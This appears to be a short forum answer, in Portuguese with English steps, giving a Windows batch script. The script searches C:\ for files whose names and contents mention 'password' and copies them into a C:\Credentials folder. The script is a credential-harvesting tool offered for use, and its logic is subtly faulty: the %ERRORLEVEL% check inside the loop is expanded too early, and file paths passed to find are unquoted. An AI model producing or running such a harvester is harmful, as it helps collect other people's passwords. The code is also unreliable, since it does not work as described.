Veja o que você pode precisar:
search for files in C:\ with these words in their name: password and username ex. facebookpassword.txt or twitterusername.docx
dir /s /b *password*
search in files for password and username. ex. twitterusername in the file: "Hello.txt"
find "password" Hello.txt
Copy the found files in C:\Credentials
copy path_to_src C:\Credentials
No total, ficaria assim:
for /f "delims=#" %%i in ('dir /s /b *password*') do (
echo %%i
find "password" %%i
if %ERRORLEVEL%==0 (
copy "%%i" C:\Credentials\
)
)